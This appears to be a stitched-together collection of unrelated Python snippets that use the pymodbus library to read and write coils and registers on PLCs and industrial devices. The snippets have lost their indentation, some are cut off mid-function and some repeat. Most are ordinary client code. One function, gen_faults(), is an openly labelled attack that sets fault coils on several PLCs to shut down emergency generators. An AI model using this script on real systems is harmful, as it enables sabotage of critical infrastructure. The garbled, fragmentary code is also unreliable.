class ModbusTcpNode:
def __init__(self):
rospy.init_node("modbus_tcp_client_node", anonymous=True)
rospy.Subscriber("/vacuum_gripper", Bool, self.callback)
self.UNIT = 0x01
self.client = ModbusClient("192.168.0.150", port=502)
self.client.connect()
rq = self.client.write_coil(0, False)
rospy.loginfo("Initialize Modbus Tcp Node")
def __del__(self):
self.client.close()
def callback(self, data):
if data.data == True:
rq = self.client.write_coil(0, True)
rr = self.client.read_coils(0, 1, unit=self.UNIT)
else:
rq = self.client.write_coil(0, False)
rr = self.client.read_coils(0, 1, unit=self.UNIT)
if not rr.bits[0] == data.data:
rospy.logerr("Failed to send the command. Please try agian")
else:
rospy.loginfo("Vaccum gripper is " +
("activated" if data.data else "deactivated"))
def read_states(host, port=MODBUS_PORT, uid=None):
client = ModbusTcpClient(host, port)
try:
if uid is not None:
result = client.read_coils(uid, 1)
print('{:3d} : {}'.format(uid, _status(result.bits[0])))
else:
result = client.read_coils(0, MAX_COILS_COUNT)
for i in range(len(result.bits)):
print('{:3d} : {}'.format(i, _status(result.bits[i])))
finally:
client.close()
def feeder_check(req):
client = ModbusTcpClient('192.168.1.202', 5020)
coil_y = client.read_coils(0, 1)
coil_r = client.read_coils(1, 1)
coil_b = client.read_coils(2, 1)
coil_m = client.read_coils(3, 1)
client.close()
srv = feeder_srvResponse()
srv.yellow = coil_y.bits[0]
srv.red = coil_r.bits[0]
srv.blue = coil_b.bits[0]
srv.missing = coil_m.bits[0]
return srv
def turn_states(host, port=MODBUS_PORT, state=False, uid=None):
client = ModbusTcpClient(host, port)
try:
if uid is not None:
client.write_coil(uid, state)
result = client.read_coils(uid, 1)
print('{:3d} : {}'.format(uid, _status(result.bits[0])))
else:
values = [state for _ in range(MAX_COILS_COUNT)]
client.write_coils(0, values)
result = client.read_coils(0, MAX_COILS_COUNT)
for i in range(len(result.bits)):
print('{:3d} : {}'.format(i, _status(result.bits[i])))
finally:
client.close()
def read_coils():
form = ReusableForm(request.form)
print form.errors
if request.method == 'POST':
ip = request.form['ip']
port = request.form['port']
address = request.form['address']
value = request.form['value']
unitId = request.form['unitId']
print ip, " ", port, " ", address
host = ip
port = int(port)
client = ModbusTcpClient(host, port)
client.connect()
rr = client.read_coils(int(address), int(value), unit=int(unitId))
assert (rr.function_code < 0x80) # test that we are not an error
print(rr)
print(rr.bits)
if form.validate():
flash(str(rr.bits))
else:
flash('Error')
return render_template('read-coils.html', form=form)
def loop_process():
# Main Process (template = flip-flop)
err_count = 0
registre_count = 10
while True:
sleep(1)
try:
client = ModbusTcpClient(modbus_server_ip, modbus_server_port)
coils = client.read_coils(0, count=registre_count, unit=UNIT)
coils = coils.bits[:registre_count]
# flipping booleans from list coils
coils = [not i for i in coils]
client.write_coils(0, coils)
registers = client.read_holding_registers(0,
count=registre_count,
unit=UNIT)
registers = registers.registers[:registre_count]
registers = [i + 1 for i in registers]
client.write_registers(0, registers, unit=UNIT)
updateGPIO(coils, registers)
except Exception as err:
print('[error] %s' % err)
err_count += 1
if err_count == 5:
print('[error] 5 errors happened in the process ! exiting...')
sys.exit(1)
def get_values(address,port):
client = ModbusTcpClient(str(address), int(port))
succeed = client.connect()
if succeed:
result = client.read_holding_registers(address=0,count=15,unit=1)
result2 = client.read_coils(address=0,count=15,unit=1)
client.close()
results = {}
for r in range(0,15):
register = result.registers[r]
results["r"+str(r)] = str(register)+"%"
coil = result2.bits[r]
if coil:
coil='ON'
else:
coil='OFF'
results["c"+str(r)] = coil
#print(results)
return jsonify(results)
else:
return render_template('index.html', error="Modbus slave is disconnected")
class ModbusPoll(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.event = threading.Event()
self.client = None
self.current = [True, True, True, True, True, True]
def run(self):
self.client = ModbusTcpClient(param_ipAddress)
while not self.event.isSet():
lock.acquire()
try:
result = self.client.read_coils(0, 6, unit=UNIT)
for num in range(0, 5):
if (result.bits[num] != self.current[num]):
func = globals()['local_event_Input' + str(num + 1) +
('On'
if self.current[num] else 'Off')]
func.emit()
self.current[num] = result.bits[num]
except AttributeError:
local_event_Error.emit('Could not connect to ADAM')
except Exception, e:
local_event_Error.emit(e)
finally:
def readMBcoils(clientIP, coil, number=1):
from pymodbus.client.sync import ModbusTcpClient, ConnectionException
client = ModbusTcpClient(clientIP)
values = []
try:
rawresult = client.read_coils(coil, number)
except ConnectionException:
# print('we were unable to connect to the host')
statuscode = 7
else:
# print(rawresult)
try:
resultregisters = rawresult.bits[0:number]
except AttributeError:
statuscode = rawresult.exception_code
else:
statuscode = 0
values = resultregisters
client.close()
result = {
'message': messagefrommbstatuscode(statuscode),
'statuscode': statuscode,
'values': values
}
return result
def run(self, measured_instrument):
while self.running:
c = ModbusTcpClient(measured_instrument.ip)
start = time.time()
while not c.connect():
log.debug("Can't connect, retry in 0.5s")
self.measurements.append((time.time(), measured_instrument.ip,
measured_instrument.name,
((time.time() - start) * 1000), -2))
time.sleep(0.5)
if measured_instrument.type == "input_register":
response = c.read_input_registers(
measured_instrument.address,
1,
unit=measured_instrument.unit)
measured_instrument.setData(response.registers[0])
if measured_instrument.type == "coil":
response = c.read_coils(measured_instrument.address,
1,
unit=measured_instrument.unit)
measured_instrument.setData(response.bits[0])
c.close()
self.measurements.append(
(time.time(), measured_instrument.ip, measured_instrument.name,
((time.time() - start) * 1000), 1))
log.debug("Tick: {}".format(self.tick))
time.sleep(self.tick)
class ModbusModule():
def __init__(self, io_module_name, ip):
logger.debug('Creating new controller with name {} and address {}.'.format(io_module_name, ip))
self.io_module_name = io_module_name
self.ip_address = ip
self.controller_type = CONTROLLER_TYPE.Modbus
# build connection object
self.client = ModbusClient(ip, port=config.DEFAULT_MODBUS_PORT)
self.client.connect()
def __del__(self):
self.client.close()
def __str__(self):
return 'Controller "{}" at address {}'.format(self.io_module_name, self.ip_address)
def get_bit(self, address):
try:
result = self.client.read_coils(address)
bit_value = result.bits[0]
except ConnectionException:
logger.error('Could not connect to Modbus module "{}"!'
.format(self.io_module_name))
bit_value = False
return bit_value
def set_bit(self, address, value):
try:
self.client.write_coil(address, value)
except ConnectionException:
logger.error('Could not connect to Modbus module "{}"!'
.format(self.io_module_name))
class OpenPlcModbus:
def __init__(self):
self.plc = ModbusClient('localhost', port=502)
def get_counter_value(self):
request = self.plc.read_holding_registers(1024, 1)
value = request.registers[0]
return value
def get_motor_status(self):
request = self.plc.read_coils(0, 1)
status = request.bits[0]
return status
def turn_on(self, action):
if action:
self.plc.write_coil(1, True)
else:
self.plc.write_coil(1, False)
def turn_off(self, action):
if action:
self.plc.write_coil(2, True)
else:
self.plc.write_coil(2, False)
def close(self):
self.plc.close()
def read_coils(self, command):
parser = argument_parser()
command = 'read_coils ' + command
spec = parser.parse_args(command.split())
response = _ModbusClient.read_coils(
self, spec.address, spec.count, unit=spec.unit_id)
return response
def talker():
rospy.init_node('modbus_client', anonymous=True)
pub_feeder = rospy.Publisher('feeder', feeder_msg, queue_size=1)
client = ModbusTcpClient('localhost', 5020)
rate = rospy.Rate(10) # 10hz
while not rospy.is_shutdown():
coil1 = client.read_coils(0,1)
coil2 = client.read_coils(1,1)
coil3 = client.read_coils(2,1)
msg = feeder_msg()
msg.yellow =coil1.bits[0]
msg.red =coil2.bits[0]
msg.blue =coil3.bits[0]
pub_feeder.publish(msg)
rate.sleep()
def testWriteCoilFalse(self):
client = ModbusTcpClient("localhost", 502)
client.write_coil(1, 1, unit=1)
# Coil that is not 0 is True
client.write_coil(1, 0, unit=1)
result = client.read_coils(1, 1, unit=1)
self.assertIs(result.bits[0], False)
client.close()
def write_via_tcp_modbus(address, state):
try:
client = ModbusTcpClient(IP_ADDRESS, port=502, timeout=10)
client.write_coil(address, state)
result = client.read_coils(address, 1)
log.debug(result)
client.close()
except RuntimeError as err:
log.debug(err)
def read_via_tcp_modbus(address):
try:
client = ModbusTcpClient(IP_ADDRESS, port=502, timeout=10)
result = client.read_coils(address, 1)
log.debug(result)
client.close()
return result.bits[0]
except RuntimeError as err:
log.debug(err)
def basic_client():
client = ModbusTcpClient(HOST, port=PORT)
try:
client.write_coil(1, True)
except ConnectionException as err:
print("Ensure you have a server running, error: %s" % err)
return
result = client.read_coils(1, 1, unit=UNIT)
print("Result of read_coils is %s" % result.bits[0])
client.close()
def post(self):
query = self.reqparse.parse_args()
client = ModbusClient(query['ip'], query['port'])
client.connect()
data = None
start_address = query['start_address']
count = query['count']
if query['type_prefix'] == ModbusTypePrefix.DISCRETE_INPUT.value:
data = client.read_discrete_inputs(start_address, count, unit=1)
elif query['type_prefix'] == ModbusTypePrefix.COIL.value:
data = client.read_coils(start_address, count, unit=1)
elif query['type_prefix'] == ModbusTypePrefix.INPUT_REGISTER.value:
data = client.read_input_registers(start_address, count, unit=1)
elif query['type_prefix'] == ModbusTypePrefix.HOLDING_REGISTER.value:
data = client.read_holding_registers(start_address, count, unit=1)
client.close()
result = []
print(data.registers)
# if hasattr(data, 'bits'):
# d = data.bits
# else:
# d = data.registers
decoder = BinaryPayloadDecoder.fromRegisters(data.registers,
byteorder=Endian.Big,
wordorder=Endian.Big)
# decoder.reset()
# decoded = {
# 'string': decoder.decode_string(8),
# 'float': decoder.decode_32bit_float(),
# '16uint': decoder.decode_16bit_uint(),
# 'ignored': decoder.skip_bytes(2),
# '8int': decoder.decode_8bit_int(),
# 'bits': decoder.decode_bits(),
# }
e = decoder.decode_16bit_int()
i = 0
while e is not False:
try:
print e
result.append({'address': i + start_address, 'value': e})
i += 1
e = decoder.decode_16bit_int()
except:
e = False
# for i, v in enumerate(d):
# result.append({'address': i+start_address, 'value': v})
reg_fields = {'address': fields.Integer, 'value': fields.Integer}
return {'registers': [marshal(reg, reg_fields) for reg in result]}
class Client:
def __init__(self):
self.client = None
self.handle = None
self.ip = '127.0.0.1'
self.port = 502
def setup(self, config):
self.handle = config
self.ip = config['ipv4']['value']
self.port = config['port']['value']
self.client = ModbusTcpClient(self.ip, self.port)
def execute(self, fc, addr, length=1, values=None):
result = None
if fc == 1:
temp = self.client.read_coils(addr, length)
result = []
for i in range(temp.byte_count):
t2 = temp.bits[i * 16:(i + 1) * 16]
result.append(''.join([str(int(x)) for x in t2]))
elif fc == 2:
temp = self.client.read_discrete_inputs(addr, length)
result = []
for i in range(temp.byte_count):
t2 = temp.bits[i * 16:(i + 1) * 16]
result.append(''.join([str(int(x)) for x in t2]))
elif fc == 3:
temp = self.client.read_holding_registers(addr, length).registers
result = ['{0:016b}'.format(x) for x in temp]
elif fc == 4:
temp = self.client.read_input_registers(addr, length).registers
result = ['{0:016b}'.format(x) for x in temp]
elif fc == 5:
if values:
self.client.write_coil(addr, values[0])
elif fc == 6:
if values:
self.client.write_register(addr, values[0])
elif fc == 15:
if values:
self.client.write_coils(addr, values)
elif fc == 16:
if values:
self.client.write_registers(addr, values)
return result
def update_config(self, conf):
self.ip = conf['ipv4']['value']
self.port = conf['port']['value']
self.client = ModbusTcpClient(self.ip, self.port)
self.handle = conf
def connect(self):
return self.client.connect()
def check_gen():
#
# Opens up a Modbus Connection with the PLC and
# checks coil at address 2 for a TRUE value.
# When that occurs, pushes control to the
# start_gen() function.
#
client = ModbusClient(target)
while True:
result = client.read_coils(2, 1)
if result.bits[0]:
start_gen()
class ChargeController():
def __init__(self, address):
self.host,self.port = address
self.device_name = '<unknown>'
self.serial_number = '<unknown>'
self.update_serial_number_and_device_name()
self.readable_values = {}
self.coil_register_indices = range(1, NUM_COIL_REGISTERS + 1)
def update_serial_number_and_device_name(self):
try:
self.measure_eeprom()
serial_number_bytes = [('%04x' % self.eeprom_measurement[k])[::-1] for k in range(57536, 57540)]
self.serial_number = ''.join(serial_number_bytes)[::2]
device_model = self.eeprom_measurement[0xE0CC]
if device_model:
self.device_name = 'TriStar-MPPT-60'
else:
self.device_name = 'TriStar-MPPT-45'
except Exception:
logger.exception("Could not get serial number or device name for %s:%d" % (self.host,self.port))
def measure(self):
self.client = ModbusTcpClient(host=self.host, port=self.port)
measurement = OrderedDict(epoch=time.time())
result = self.client.read_input_registers(0, NUM_REGISTERS, unit=0x01,)
try:
measurement.update(zip(range(NUM_REGISTERS), result.registers))
except AttributeError as e:
print e, result
raise
self.measurement = measurement
self.client.close()
return self.measurement
def measure_eeprom(self):
self.client = ModbusTcpClient(host=self.host, port=self.port)
self.eeprom_measurement = OrderedDict(epoch=time.time())
eeprom_measurement = self.client.read_input_registers(EEPROM_BATCH_1[0], EEPROM_BATCH_1[1] - EEPROM_BATCH_1[0],
unit=0x01).registers
eeprom_measurement += self.client.read_input_registers(EEPROM_BATCH_2[0], EEPROM_BATCH_2[1] - EEPROM_BATCH_2[0],
unit=0x01).registers
eeprom_measurement += self.client.read_input_registers(EEPROM_BATCH_3[0], EEPROM_BATCH_3[1] - EEPROM_BATCH_3[0],
unit=0x01).registers
self.eeprom_measurement.update(zip(EEPROM_REGISTER_INDICES, eeprom_measurement))
self.client.close()
return self.eeprom_measurement
def measure_coils(self):
self.coil_measurement = OrderedDict(epoch=time.time())
self.coil_measurement.update(
zip(range(NUM_COIL_REGISTERS), self.client.read_coils(0, NUM_COIL_REGISTERS, unit=0x01).bits))
return self.coil_measurement
def run_sync_client():
client = ModbusClient('localhost', port=5020)
client.connect()
for i in range(5):
log.debug("Reading Coils")
client.read_coils(1, 1 + i, unit=UNIT)
# first param - address: The starting address to read from
# second param - count: The number of coils to read
time.sleep(0.1)
# 100ms przerwy między Reading Coils
log.debug("Reading Coils")
client.read_coils(2, 3 + i, unit=UNIT)
time.sleep(0.1)
log.debug("Write to a Coil")
client.write_coils(1, 4, unit=UNIT)
time.sleep(5)
# 5s przerwy między write coils
log.debug("Write to a Coil")
client.write_coil(4, 3, unit=UNIT)
time.sleep(5)
# log.debug("Read discrete inputs")
# client.read_discrete_inputs(0, 8, unit=UNIT)
# # first param - The starting address to read from
# # second param - The number of discretes to read
#
# log.debug("Write to a holding register and read back")
# client.write_register(1, 10, unit=UNIT)
# # first param - The starting address to write to
# # second param - The value to write to the specified address
#
# log.debug("Read back")
# client.read_holding_registers(1, 1, unit=UNIT)
# # first param - The starting address to read from
# # second param - The number of registers to read
client.close()
def run_sync_client():
""" Main loop for Modbus communication """
# Define client connection
client = ModbusClient(method='rtu', port='/dev/tty0', timeout=1, baudrate=9600)
client.connect()
# Specify target device
log.debug("Reading Coils")
rr = client.read_coils(0, 16, unit=UNIT)
log.debug(rr)
# Close Client
client.close()
def read(device_address=2):
"""
This function reads the state of a device at the given address.
For example: True, if the box is opened (False -> if the box is closed).
"""
try:
client = ModbusTcpClient(BOX_IP, port=502, timeout=10)
result = client.read_coils(device_address, 1)
logger.debug(result)
client.close()
return result.bits[0]
except RuntimeError as err:
logger.debug(err)
class TestFacilityModbusClient(object):
"""Modbus client to communicate with robot test facility using the pymodbus lib"""
_client = None
def _is_connection_open(self):
if self._client is None:
return False
else:
return True
def open(self):
if self._is_connection_open():
return
self._client = ModbusTcpClient('169.254.60.99', 502)
self._client.connect()
def close(self):
if not self._is_connection_open():
return
self._client.close()
self._client = None
def read(self, start_register, end_register):
if not self._is_connection_open():
raise NoOpenConnection("No open connection to server")
return self._client.read_coils(start_register, end_register)
def write(self, register, value):
if not self._is_connection_open():
raise NoOpenConnection("No open connection to server")
response = self._client.write_coil(register, value)
def set_T1_IO_to(self, flag):
self.write(_OPERATION_MODE_T1_REGISTER, flag)
def set_T2_IO_to(self, flag):
self.write(_OPERATION_MODE_T2_REGISTER, flag)
def set_Auto_IO_to(self, flag):
self.write(_OPERATION_MODE_AUTO_REGISTER, flag)
def set_Emergency_IO_to(self, flag):
self.write(_EMERGENCY_REGISTER, flag)
def set_Acknowledge_IO_to(self, flag):
self.write(_ACKNOWLEDGE_REGISTER, flag)
def set_Enabling_IO_to(self, flag):
self.write(_ENABLING_REGISTER, flag)
def LEDUpdateThread(pin, update_interval, e): print 'LEDUpdateThread' client = ModbusTcpClient(args.ip) GPIO.setup(pin, GPIO.OUT) while True: if not e.isSet(): result = client.read_coils(0, 1) if result is not None: pin_status = result.bits[0] GPIO.output(pin, pin_status) print pin_status time.sleep(update_interval) else: break client.close() print 'LED thread stoped'
def send(device, value):
"""
This function writes a new value to a device of the given ip address.
The value has to be a boolean. For example: True, to open the box by the motor (False -> close the box).
"""
logger.debug(
'send method with device: {device} and value = {value}'.format(
device=str(device), value=str(value)))
try:
client = ModbusTcpClient(BOX_IP, port=502, timeout=10)
client.write_coil(int(device), value['value'])
result = client.read_coils(int(device), 1)
logger.debug(result)
client.close()
except RuntimeError as err:
logger.debug(err)
def gen_faults():
"""Shuts down emergency generators.
'k' will complete the IP address for each PLC in the electrical distribution system. Each will be targeted by the
attack: 10.100.1.101, 102, 103, and 104.
"""
for k in range(101, 105):
target = GEN_OCTETS + str(k)
print(" [+] Attacking ", target)
print(" [+] Sending fault to generator")
client = ModbusClient(target)
result = client.read_coils(
48, 1) # Read status of each generator fault alarm
if not result.bits[0]: # If fault doesn't exist...
client.write_coil(48, True) # Set generator fault
print(" [+] Complete")
sleep(1)
def get_modbus(properties):
try:
print("Performing an action which may throw an exception.")
client = ModbusClient(properties['ip'], port=502)
client.connect()
log.debug(properties['registers'])
log.debug(properties['coils'])
modbus_values = {}
# Get holding registers values
modbus_registers = {}
for i in properties['registers']:
register_start_nb = i.split('-')[0]
register_end_nb = i.split('-')[1]
log.debug('Register start number : %s' % register_start_nb)
log.debug('Register end number : %s' % register_end_nb)
register_count = int(register_end_nb) - int(register_start_nb)
log.debug('Number of registers to read : %s' % register_count)
rr = client.read_holding_registers(int(register_start_nb),
register_count,
unit=0x01)
modbus_registers[register_start_nb] = rr.registers
log.debug('Registers values : %s' % rr.registers)
# Get coils values
modbus_coils = {}
for i in properties['coils']:
coil_start_nb = i.split('-')[0]
coil_end_nb = i.split('-')[1]
log.debug('Coil start number : ' + register_start_nb)
log.debug('Coil end number : ' + register_end_nb)
coil_count = int(coil_end_nb) - int(coil_start_nb)
log.debug('Number of coils to read : ' + str(coil_count))
rr = client.read_coils(int(coil_start_nb), coil_count, unit=0x01)
modbus_coils[coil_start_nb] = rr.bits
log.debug('Coils values : ' + str(rr.bits))
log.debug('Modbus coils values : ' + str(modbus_coils))
client.close()
modbus_values['registers'] = modbus_registers
modbus_values['coils'] = modbus_coils
log.debug(str(modbus_values))
return modbus_values
except Exception:
log.debug('Error connecting to %s' % properties['ip'])
def get_modbus(properties):
try:
print "Performing an action which may throw an exception."
client = ModbusClient(properties['ip'], port=502)
client.connect()
log.debug(properties['registers'])
log.debug(properties['coils'])
modbus_values = {}
# Get holding registers values
modbus_registers = {}
for i in properties['registers']:
register_start_nb = i.split('-')[0]
register_end_nb = i.split('-')[1]
log.debug('Register start number : %s' % register_start_nb)
log.debug('Register end number : %s' % register_end_nb)
register_count = int(register_end_nb) - int(register_start_nb)
log.debug('Number of registers to read : %s' % register_count)
rr = client.read_holding_registers(int(register_start_nb),register_count, unit=0x01)
modbus_registers[register_start_nb] = rr.registers
log.debug('Registers values : %s' % rr.registers)
# Get coils values
modbus_coils = {}
for i in properties['coils']:
coil_start_nb = i.split('-')[0]
coil_end_nb = i.split('-')[1]
log.debug('Coil start number : ' + register_start_nb)
log.debug('Coil end number : ' + register_end_nb)
coil_count = int(coil_end_nb) - int(coil_start_nb)
log.debug('Number of coils to read : ' + str(coil_count))
rr = client.read_coils(int(coil_start_nb),coil_count, unit=0x01)
modbus_coils[coil_start_nb] = rr.bits
log.debug('Coils values : ' + str(rr.bits))
log.debug('Modbus coils values : ' + str(modbus_coils))
client.close()
modbus_values['registers'] = modbus_registers
modbus_values['coils'] = modbus_coils
log.debug(str(modbus_values))
return modbus_values
except Exception, error:
log.debug('Error connecting to %s' % properties['ip'])
log.debug(str(error))
def RGBLEDUpdateThread(pins, update_interval, e): print 'RGBLEDUpdateThread' client = ModbusTcpClient(ip) # Setup pins mode for i in range(0, 3): GPIO.setup(pins[i], GPIO.OUT) while True: if not e.isSet(): result = client.read_coils(10, 3) print 'RGB LED. R:', result.bits[0], 'G:', result.bits[1], 'B:', result.bits[2] for i in range(0, 3): GPIO.output(pins[i], result.bits[i]) time.sleep(update_interval) else: break client.close() print 'RGB LED Stopped'
def readMBcoils(clientIP, coil, number=1):
from pymodbus.client.sync import ModbusTcpClient, ConnectionException
client = ModbusTcpClient(clientIP)
values = []
try:
rawresult = client.read_coils(coil, number)
except ConnectionException:
# print('we were unable to connect to the host')
statuscode = 7
else:
# print(rawresult)
try:
resultregisters = rawresult.bits[0:number]
except AttributeError:
statuscode = rawresult.exception_code
else:
statuscode = 0
values = resultregisters
client.close()
result = {'message': messagefrommbstatuscode(statuscode), 'statuscode': statuscode, 'values':values}
return result
def plc_status_check(target):
client = ModbusTcpClient(target, timeout=time_out)
try:
status = client.read_coils(0x00, count=3)
if status.bits == [1, 0, 0, 0, 0, 0, 0, 0]:
status = "Running"
elif status.bits == [0, 1, 0, 0, 0, 0, 0, 0]:
status = "Idle"
elif status.bits == [0, 0, 1, 0, 0, 0, 0, 0]:
status = "Stopped"
else:
status = "Broken"
pass
except ConnectionException:
status = "No connection"
pass
except (ModbusIOException, ParameterException, ModbusException,
InvalidMessageReceivedException, MessageRegisterException,
NoSuchSlaveException, NotImplementedException):
status = "Connection was forcibly closed by the remote host"
pass
client.close()
return status
def activate(self):
rospy.init_node('niryo_node', anonymous=False)
while not rospy.is_shutdown():
if (self.activate_plc == "Activated"):
rospy.loginfo(
"Niryo will do other action, PLC will be deactivated")
self.pub.publish("plc_deactivate")
else:
rospy.loginfo(
"PLC hasn't been activated, Niryo will activate PLC")
self.pub.publish("Activate_plc")
client = ModbusClient("192.168.1.7", port=502)
client.connect()
UNIT = 0x1
print("Escritura de salidas")
rq = client.write_coil(0, [True] * 8, unit=UNIT)
rr = client.read_coils(0, 8, unit=UNIT)
print("Las salidas Q0.0-Q0.7 ", rr.bits)
print("Leer entradas")
rr = client.read_discrete_inputs(0, 8, unit=UNIT)
print("Las entradas I0.0-I0.7 son ", rr.bits)
print("Escritura de un HR")
rq = client.write_register(0, 15, unit=UNIT)
rr = client.read_holding_registers(0, 1, unit=UNIT)
print("HR0 = ", rr.registers)
print("Escritura de varios HR")
rq = client.write_registers(1, [35] * 10, unit=UNIT)
rr = client.read_holding_registers(1, 10, unit=UNIT)
print("HR0 = ", rr.registers)
print("Escritura de varios HR")
rq = client.write_registers(11, [43] * 5, unit=UNIT)
rr = client.read_holding_registers(0, 15, unit=UNIT)
print("HR0 = ", rr.registers)
client.close()
rospy.sleep(1)
class clientthreads(threading.Thread):
def __init__(self, vnic, ipaddr, port):
threading.Thread.__init__(self)
self.ipaddr = ipaddr # ip address
self.port = port # port address
self.vnic = vnic # virtual nic
self.mode = "" # server or client
self.state = "" # up or down
self.dest = "" # destination address for client
self.clientstop = threading.Event()
self.server = ""
self.client = ""
self.framer = ""
self.vnicm = ""
self.runtime= 0
self.delayr = random.uniform(0,5)
self.delayw = random.uniform(0,60)
self.firstdelay = 0
self.pstart= ""
def run(self):
self.client = ModbusTcpClient(self.dest, self.port, source_address=(self.ipaddr, 0), retries=1, retry_on_empty=True)
if(self.mode=="read"):
self.clientintr()
elif(self.mode=="write"):
self.clientintw()
else:
print "wrong mode specified"
def clientintr(self): # instantiate server stuff
while(not self.clientstop.is_set()):
if(time.time() - self.pstart > self.runtime):
print "stopping"
break
if(self.firstdelay < 1):
print "Start RDelay is: " + str(self.delayr)
time.sleep(self.delayr)
self.firstdelay = 1
print "Starting Reads"
self.clientreads()
print "\n\r-----read-----\n\r"
print self.dest
print time.time() - self.pstart
print "------------------\n\r"
def clientintw(self): # instantiate server stuff
while(not self.clientstop.is_set()):
if(time.time() - self.pstart > self.runtime):
print "stopping"
break
if(self.firstdelay < 1):
print "Start WDelay is: " + str(self.delayw)
time.sleep(self.delayw)
self.firstdelay = 1
print "Starting Writes"
self.clientwrites()
print "\n\r-----write----\n\r"
print self.dest
print time.time() - self.pstart
print "------------------\n\r"
def clientreads(self):
self.client.read_coils(1, 10)
self.client.read_discrete_inputs(1, 10)
self.client.read_holding_registers(1, 10)
self.client.read_input_registers(1, 10)
time.sleep(5)
def clientwrites(self):
self.client.write_coil(1, True)
self.client.write_register(1, 3)
self.client.write_coils(1, [True]*10)
self.client.write_registers(1, [3]*10)
time.sleep(60)
def alloc(self): # Allocate ip address
if (validateIP(self.ipaddr, self.vnicm)):
cmdargs = [self.vnic, self.ipaddr]
subprocess.call(["ifconfig"] + cmdargs)
else:
return 0
def dealloc(self): # De-allocate ip address
cmdargs = [self.vnic]
subprocess.call(["ifconfig"] + cmdargs + ["down"])
def stop(self):
self.clientstop.set()
return
if args.type == 'HR':
hr_read = client.read_holding_registers(args.offset,
count=args.count)
assert(hr_read.function_code < 0x80)
print(hr_read.registers[0:args.count])
# NOTE: read_holding_registers
elif args.type == 'IR':
ir_read = client.read_input_registers(args.offset,
count=args.count)
assert(ir_read.function_code < 0x80)
print(ir_read.registers[0:args.count])
# NOTE: read_discrete_inputs
elif args.type == 'DI':
di_read = client.read_discrete_inputs(args.offset,
count=args.count)
assert(di_read.function_code < 0x80)
print(di_read.bits)
# NOTE: read_discrete_inputs
elif args.type == 'CO':
co_read = client.read_coils(args.offset,
count=args.count)
assert(co_read.function_code < 0x80)
print(co_read.bits)
client.close()
client = ModbusClient('127.0.0.1')
#---------------------------------------------------------------------------#
# example requests
#---------------------------------------------------------------------------#
# simply call the methods that you would like to use. An example session
# is displayed below along with some assert checks. Note that some modbus
# implementations differentiate holding/input discrete/coils and as such
# you will not be able to write to these, therefore the starting values
# are not known to these tests. Furthermore, some use the same memory
# blocks for the two sets, so a change to one is a change to the other.
# Keep both of these cases in mind when testing as the following will
# _only_ pass with the supplied async modbus server (script supplied).
#---------------------------------------------------------------------------#
rq = client.write_coil(1, True)
rr = client.read_coils(1,1)
assert(rq.function_code < 0x80) # test that we are not an error
assert(rr.bits[0] == True) # test the expected value
rq = client.write_coils(1, [True]*8)
rr = client.read_coils(1,8)
assert(rq.function_code < 0x80) # test that we are not an error
assert(rr.bits == [True]*8) # test the expected value
rq = client.write_coils(1, [False]*8)
rr = client.read_discrete_inputs(1,8)
assert(rq.function_code < 0x80) # test that we are not an error
assert(rr.bits == [True]*8) # test the expected value
rq = client.write_register(1, 10)
rr = client.read_holding_registers(1,1)
# client = ModbusClient('localhost', retries=3, retry_on_empty=True)
#---------------------------------------------------------------------------#
client = ModbusClient('localhost', port=5020)
#client = ModbusClient(method='ascii', port='/dev/pts/2', timeout=1)
# client = ModbusClient(method='rtu', port='/dev/ttyp0', timeout=1)
client.connect()
#---------------------------------------------------------------------------#
# specify slave to query
#---------------------------------------------------------------------------#
# The slave to query is specified in an optional parameter for each
# individual request. This can be done by specifying the `unit` parameter
# which defaults to `0x00`
#---------------------------------------------------------------------------#
log.debug("Reading Coils")
rr = client.read_coils(1, 1, unit=0x01)
#---------------------------------------------------------------------------#
# example requests
#---------------------------------------------------------------------------#
# simply call the methods that you would like to use. An example session
# is displayed below along with some assert checks. Note that some modbus
# implementations differentiate holding/input discrete/coils and as such
# you will not be able to write to these, therefore the starting values
# are not known to these tests. Furthermore, some use the same memory
# blocks for the two sets, so a change to one is a change to the other.
# Keep both of these cases in mind when testing as the following will
# _only_ pass with the supplied async modbus server (script supplied).
#---------------------------------------------------------------------------#
log.debug("Write to a Coil and read back")
rq = client.write_coil(0, True, unit=1)
class ModbusClass():
connected=False
def __init__(self, *kwargs):
self.connect()
def connect(self):
'''Try to connect to the Modbus client
(mostely internal)
'''
if not self.connected:
self.client = ModbusClient('192.168.50.238', port=502)
self.client.connect()
self.connected=True
def reset_safety(self, callback):
'''Call this class to reset safety
:param callback: callback which should be called at the end
'''
if not self.connected:
self.connect()
#write to bit 8480
rq = self.client.write_coil(8480, True)
time.sleep(0.5)
rq = self.client.write_coil(8480, False)
callback()
def transfer_bahn_nr(self, nr):
rq = self.client.write_register(532, nr)
rq = self.client.write_coil(8483, True)
time.sleep(0.5)
rq = self.client.write_coil(8483, False)
print "transfered"
def transfer_array(self, array, callback):
'''Call this function to move the array to the PLC
:param array: array which should be transmitted
:param callback: callback which should be called when finished
'''
#check array size
c=0
for cube in array:
c+=1
if c!= 106:
print "Array size isn't suitable", c
return
lis = array
#write cubes into PLC
c=0
for cube in lis:
print '-', (c/5)+1, cube
#write x
rq = self.client.write_register(c, cube['x'])
c+=1
#write y
rq = self.client.write_register(c, cube['y'])
c+=1
#write z
rq = self.client.write_register(c, cube['z'])
c+=1
#write rot
rq = self.client.write_register(c, cube['typ'])
c+=1
#write type
rq = self.client.write_register(c, cube['rot'])
c+=1
callback()
def machine_is_building(self, *kwargs):
'''Call this class to get the bool if the machine is working or not
'''
rq = self.client.read_coils(8481,1)
return rq.bits[0]
def read_active_bahn(self, *kwargs):
rq = self.client.read_holding_registers(533, 1)
return rq.registers[0]
if __name__ == "__main__":
print '=== Modbus client (RGB LED) ==='
parser = argparse.ArgumentParser(description='Modbus client')
parser.add_argument('ip', default='localhost', help='IP adress of modbus server')
args = parser.parse_args()
client = ModbusTcpClient(args.ip)
GPIO.setmode(GPIO.BCM)
GPIO.setwarnings(False)
for i in range(0, 3):
GPIO.setup(LED_Pins[i], GPIO.OUT)
try:
while True:
result = client.read_coils(10, 3)
print 'R:', result.bits[0], 'G:', result.bits[1], 'B:', result.bits[2]
for i in range(0, 3):
GPIO.output(LED_Pins[i], result.bits[i])
time.sleep(update_interval)
except KeyboardInterrupt:
print 'Stopping program'
except Exception:
traceback.print_exc(file=sys.stdout)
GPIO.cleanup()
client.close()
print 'Done'
sys.exit(0)
class InModbus(ApplicationSession):
"""
Checks the state of the relays of the lights (eshl/eshl.wago.v1.switch) and
makes three different RPCs to toggle/switch on/switch off the lights available.
"""
